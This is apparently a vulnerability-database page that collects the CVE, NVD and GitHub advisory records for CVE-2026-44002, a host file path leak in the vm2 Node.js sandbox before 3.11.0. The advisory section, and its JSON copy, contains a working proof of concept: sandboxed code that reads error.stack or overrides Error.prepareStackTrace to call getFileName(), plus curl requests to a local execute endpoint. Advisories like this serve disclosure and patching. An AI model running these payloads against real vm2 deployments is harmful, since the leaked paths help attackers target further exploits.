Vulnerability-Lookup

CVE-2026-44002 (GCVE-0-2026-44002)

Vulnerability from cvelistv5 – Published: 2026-05-13 17:29 – Updated: 2026-05-14 18:23

Title

vm2: Host File Path Disclosure via Stack Trace Information Leak

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.

Severity ?

5.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CWE

CWE-209 - Generation of Error Message Containing Sensitive Information

Assigner

GitHub_M

References

1 reference

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
patriksimek	vm2	Affected: < 3.11.0

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-44002

Vulnerability from fkie_nvd - Published: 2026-05-13 18:16 - Updated: 2026-05-14 15:23

Severity ?

5.8 (Medium) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	vm2_project	vm2	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "6DD48308-6219-4C66-9BE7-246EE56FB834",
              "versionEndExcluding": "3.11.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2\u0027s CallSite wrapper class (intended as a safe wrapper for V8\u0027s native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0."
    }
  ],
  "id": "CVE-2026-44002",
  "lastModified": "2026-05-14T15:23:29.507",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 5.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 1.4,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-05-13T18:16:16.857",
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      "source": "security-advisories@github.com",
      "tags": [
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      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw"
    }
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GHSA-V27G-JCQJ-V8RW

Vulnerability from github – Published: 2026-05-07 04:30 – Updated: 2026-05-14 20:36

Summary

vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak

Details

Summary

vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.

Details

In lib/setup-sandbox.js:436-466, the CallSite class overrides getThis() and getFunction() with undefined to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:

getFileName() — returns host absolute paths like /app/node_modules/vm2/lib/vm.js
getLineNumber(), getColumnNumber() — exact source locations
getFunctionName(), getMethodName(), getTypeName() — internal function names

Two exploitation paths exist: 1. Default error.stack: new Error().stack includes host frame paths in the formatted string 2. Custom prepareStackTrace: Attacker can set Error.prepareStackTrace to directly call getFileName() on each CallSite, extracting a clean list of all host paths

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");
const vm = new VM();

// Path A — Default error.stack
const result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);
console.log(result1);
// Output includes: /app/node_modules/vm2/lib/vm.js:289:18
//                   /app/src/server.js:49:20

// Path B — prepareStackTrace extraction
const result2 = vm.run(`
  Error.prepareStackTrace = function(e, sst) {
    return sst.map(function(s) { return s.getFileName(); }).join(", ");
  };
  new Error().stack
`);
console.log(result2);
// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...

HTTP demonstration:

# Default error.stack
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"try { null.x; } catch(e) { e.stack }"}'
# Result includes host paths: /app/src/server.js, /app/node_modules/express/...

# prepareStackTrace extraction
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\", \"); }; new Error().stack"}'
# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...

Impact

Information Disclosure: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.
Attack Chain: Leaked paths enable precise targeting for other vulnerabilities.
Scope: All applications using vm2. No special configuration required.

Severity ?

5.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-209"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:30:10Z",
    "nvd_published_at": "2026-05-13T18:16:16Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nvm2\u0027s `CallSite` wrapper class (intended as a safe wrapper for V8\u0027s native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.\n\n### Details\nIn `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:\n\n- `getFileName()` \u2014 returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`\n- `getLineNumber()`, `getColumnNumber()` \u2014 exact source locations\n- `getFunctionName()`, `getMethodName()`, `getTypeName()` \u2014 internal function names\n\nTwo exploitation paths exist:\n1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string\n2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Path A \u2014 Default error.stack\nconst result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);\nconsole.log(result1);\n// Output includes: /app/node_modules/vm2/lib/vm.js:289:18\n//                   /app/src/server.js:49:20\n\n// Path B \u2014 prepareStackTrace extraction\nconst result2 = vm.run(`\n  Error.prepareStackTrace = function(e, sst) {\n    return sst.map(function(s) { return s.getFileName(); }).join(\", \");\n  };\n  new Error().stack\n`);\nconsole.log(result2);\n// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...\n```\n\n**HTTP demonstration:**\n```bash\n# Default error.stack\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"try { null.x; } catch(e) { e.stack }\"}\u0027\n# Result includes host paths: /app/src/server.js, /app/node_modules/express/...\n\n# prepareStackTrace extraction\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\\\", \\\"); }; new Error().stack\"}\u0027\n# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...\n```\n\n### Impact\n- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.\n- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.\n- **Scope**: All applications using vm2. No special configuration required.",
  "id": "GHSA-v27g-jcqj-v8rw",
  "modified": "2026-05-14T20:36:52Z",
  "published": "2026-05-07T04:30:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44002"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-44002 (GCVE-0-2026-44002)

FKIE_CVE-2026-44002

GHSA-V27G-JCQJ-V8RW

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature